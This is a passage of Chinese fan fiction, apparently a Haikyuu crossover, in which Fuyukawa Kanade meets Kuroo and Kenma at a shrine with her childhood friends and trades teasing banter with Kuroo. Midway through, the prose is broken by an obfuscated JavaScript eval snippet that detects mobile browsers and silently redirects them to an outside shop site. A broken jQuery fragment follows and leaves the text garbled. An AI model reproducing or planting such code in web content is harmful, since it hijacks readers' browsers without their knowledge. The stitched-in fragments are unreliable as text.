“冬川!”

    熟悉的声音在背后响起,冬川奏回头就看见了某只许久不见的大黑猫。

    咦,还带着一只小猫呢。她视线下滑,落在黑尾背后那个少年身上。

    黑色的妹妹头,垂着脑袋看不清脸,察觉到她的视线还抖了抖,将自己藏得更深了。

    “黑尾君,看来我们还是这么有缘分啊。”冬川奏站在偏高的台阶向下俯视,好看的脸上是一贯的笑容。

    就算是高一开学跟黑尾分到一个班级她都不会惊讶了呢。

    黑尾笑意加深,微微仰视她,瞳眸透亮,“因为有想要达成的愿望,听说这个神社比较灵就过来了。”

    结果没想到能在这里遇见意料之外的人,看来今天也是个适合许愿的日子啊,搞不好能心想事成呢。

    冬川奏歪歪头:“黑尾君看起来不像是会信这些的人呢,没想到也跟其他人一样嘛。”

    黑尾几步走近,平视着冬川奏,“我也只是个普通人啦,就算成功不了,但是来一趟神社的话会感觉更有诚意一点?”

    他的视线似乎有点太直白了,像是会说话一样,但内容好像又跟真正说出口的不一样。看得冬川奏难得有些不自在,她后退了两步,看向黑尾的身后,颇有转移话题的嫌疑。

    “这是你弟弟吗?”

    黑尾这才像是想起什么似的,他懊恼地“欸”了一声,然后连忙将少年从背后抓出来推到身前。

    “这是我的幼驯染,孤爪研磨,目前上国中二年级。这是冬川奏,我之前跟你介绍过的。”黑尾热情地为两人介绍着。

    孤爪研磨整个人都僵住了,看起来非常不适应这样的场合。他抬头快速扫过冬川奏,又快速低头。

    “你好......”

    “你好啊小研磨!”冬川奏故意凑近他,语气十分亲昵。

    这句话当场就把孤爪研磨震住了,他一整个炸毛,眼睛瞪得特别大,手指紧紧攥住衣摆。

    好自来熟!完全不知道该怎么应付......

    他立刻向黑尾投去求助的视线。

    黑尾揽住研磨,故作不满道:“喂喂,你叫我都是喊姓氏,怎么叫研磨就是名字了。”

    “还有研磨,你之前不是说对冬川很感兴趣很想认识她吗?”

    “小黑!!”研磨瞳孔地震,不可置信地看着歪曲事实的幼驯染,“我哪有这么说!”

    如果他没记错的话,他说的明明是,简直像是反派大Boss、魔王一样级别的人物啊,好想挑战一下。

    可惜像这样的天才明星人物,估计连遇上都是一件难事,更别提和性别不同的他较量了。

    结果小黑不仅遇上了,还认识了,还说以后会是一个学校的。

    多么令人震惊的运气,绝对是开到金宝箱了吧。

    “叫你的名字感觉很怪欸!”冬川奏犹豫了一下,“铁......小铁?”

    她这么一念,黑尾顿时也觉得好奇怪,他按了按脸颊,“真的好奇怪!”

    “是吧,所以我以后还是叫你的姓氏。”冬川奏冷酷脸。

    黑尾想了想,说:“那我要叫你的名字!小奏,阿奏?”

    “随你吧。”冬川奏撇了撇嘴,她低头好奇地看着刚刚像是要爆炸开的小蘑菇,“小研磨也跟黑尾一样是打排球的吗?”

    研磨缩了一下,“嗯......”

    “也是很厉害的二传手哦。”黑尾补充。

    研磨终于挣脱开黑尾的手臂,“才不是。”

    冬川奏笑:“才不是什么,不是二传手吗?”

    研磨:“不是很厉害。”

    冬川奏一副思索的样子,“小研磨看起来就很厉害啊。”

    “怎么可能。”他别扭地低下头,一般人看到他这样的外表都会觉得他很弱吧,不过他也懒得跟这些人说些什么。

    冬川奏:“看人可不能单纯用眼睛去看哦。有时候我也更相信自己的直觉,是我的直觉告诉我,小研磨是个需要被警惕的家伙呢。”

    “欸?”研磨瞳孔放大了些许。

    黑尾:“就是嘛,不要太谦虚啦研磨。”

    “小奏!”是跟大叔聊着聊着突然感觉不对劲然后往回找的古森元也。

    一路上他成功捡到了站在水井旁边散发邪恶气息的表弟,以及站在很远的地方拍冬川奏的虹夏。

    古森:你一直盯着那个水井干嘛?里面难道有什么神使吗?

    佐久早一脸看白痴的表情:我想洗手,但看见有人洗手把水甩进去了。

    古森:你站这么远的地方干嘛?看起来很像在偷拍欸!我看见有人用怀疑的眼神看你了。

    虹夏无辜:我只是在试用新买的相机。

    古森元也非常心累,他还要去抓被猫咪勾住了的最后一个幼驯染。

    “哦呀,是元也啊。我还以为你要跟大叔组建家庭了,聊这么火热根本没注意到我!”冬川奏先发制人。

    古森:......

    来一个神使赶紧把这些家伙契走吧。

    他视线落在冬川奏旁边,率先打招呼:“你们好啊,是小奏新认识的朋友吗?我是这家伙的幼驯染。”

    本就热情乐天的古森元也很快就和同样热情的黑尾打成一片,期间还互相介绍了一下两边的情况。

    黑尾调侃:“怎么大家都是跟幼驯染一起来参拜啊。”

    古森:“以前我都是跟家人一起来的啦,小奏和虹夏都不在东京,圣臣也不愿意来人这么多的地方。”

    黑尾了然,看来这是他们第一次一起去神社参拜。

    研磨垮着脸,不太想说话的他正努力地缩小自己的存在感。

    被五个高高大大的人围在中间的感觉真的很差劲!尤其是那个海藻头,气息也太恐怖了!

    按理来说靠近冬川奏感觉会比较舒服一点,但这人实在是太亮眼了,感觉行人的视线都在她的身上扫来扫去,绝对会被波及到。

    可惜冬川奏是一个恶趣味十足的家伙,很喜欢看别人崩坏的表情。

    她弯着眼睛靠近研磨,稍稍侧低头。

    “小研磨有点像我的幼驯染呢,是看起来有点怕生内向,”冬川奏指了指自己旁边的佐久早,“但其实是抖S的那种人。”

    研磨果然表情崩了:“抖S是什么鬼啊!”

    他今天其实不该出门吧,不然就不会遭遇这样的场面了,果然完全不该听小黑的。

    佐久早离的远了点,但他也听见了。他不满地说:“你别老是抹黑我。”

    冬川奏:“哪有抹黑你,小臣的语气听起来就很那个啊。你说是不是,虹夏?”

    虹夏:“是那个吗?”

    冬川奏:“就是那个那个!”

    虹夏:“好像确实很那个那个。”

    佐久早:“什么那个那个的,这是火星语吗?你们两个外星人。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824720|211143||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    研磨面无表情:就算是看起来数值拉满的抖S,还是不可战胜的大反派,此刻都幼稚得像个笨蛋吧。

    他又看了一眼旁边挂着无害热情笑脸但却在激情套话的幼驯染,以及完全不知道自己在被套话的天真率直古森君。

    今天果然不宜出门......

    佐久早:“我不想在这洗手漱口。”

    他一脸抗拒,跟在原地生了根似的不愿意走,“而且排队的人这么多,我就在外面等你们。”

    幼驯染们都知道他的性格如此,也就没多说什么。

    古森:“那你在那边等我们一起过去摇签,别一个人偷偷溜走!”

    佐久早:“知道了......”

    其他人净手漱口后,就都去排队参拜了。

    冬川奏正排在黑尾的身后,轮到她俩时,她有样学样地二礼二拍手一礼。

    不过双手合十祈愿的时候她没闭眼,反正弯着眼睛的时候别人也看不清她到底有没有闭眼。

    冬川奏没什么要许的愿望,比起向神明许愿,她更相信自己。

    于是她便观察起周围的人,尤其是她身边的黑尾。黑尾到是挺认真的,闭着眼睛静静伫立。

    等完成参拜后俩人一起去殿侧摇签处,黑尾侧头看着冬川奏:“你没许愿?”

    冬川奏睫毛抖了抖:“我有在认真许愿吧。”

    黑尾声音带上了一丝笑意:“你没有闭眼睛。”

    冬川奏停下脚步,略带震惊地看向黑尾,阖起的眼微微露出了些碧洗过的天蓝色。

    冬川奏:“你知道大家玩人狼游戏的时候为什么不让我参与吗?”

    因为她们没法分辨冬川奏有没有闭眼,虽然冬川奏总是自诩绝对公正,但是她的赢率一骑绝尘,于是就喜提禁赛。

    “欸,不会吧。其实我感觉还挺明显的,你的视线。”黑尾惊讶。

    冬川奏:“是因为你太敏锐了吧。”

    她的眼睛好歹是有着无法被攻破的屏障这一称号啊。

    冬川奏微仰头靠近黑尾,“现在我闭眼了吗?”

    黑尾顿了一下没有后退,反而是微微下压了脊背,将距离拉近,“没有哦。”

    “欸?”冬川奏的表情生动起来,“现在呢?”

    “还是没有。”黑尾看着近在咫尺的可爱面庞,和感受到的落在自己脸上的视线,只觉得心脏痒,手指也有点痒。

    好怪,再靠近一点会怎样呢,她的表情会变得更可爱吗?

    他按捺住加速的心跳,摸着发烫的耳朵后退了一步,然后很是自然地朝冬川奏身后靠近的人打招呼:“佐久早君。”

    冬川奏闻言回头,懒洋洋道:“刚刚都没看见小臣,还以为你又逃跑了呢。”

    佐久早看了一眼毫无所觉的幼驯染,脸上带了几分不悦,“说了不要跟其他人靠这么近,你想得流感吗?”

    他淡淡的视线扫过黑尾,黑尾十分坦然地跟他对视,“这样的距离还不至于得流感吧。”

    其他人是在说他吗?这位佐久早君好像很排外啊。

    他和冬川奏刚刚的距离说近确实近,但也不至于很近,只是一个比安全距离又稍微亲密一点的距离。

    冬川奏:“小臣总是如临大敌的,偶尔也放轻松一点嘛。”

    佐久早用尽可能小的接触面拽住她的袖口,将她拉得离黑尾远了一点,“我这是谨慎。”

    “知道知道啦。”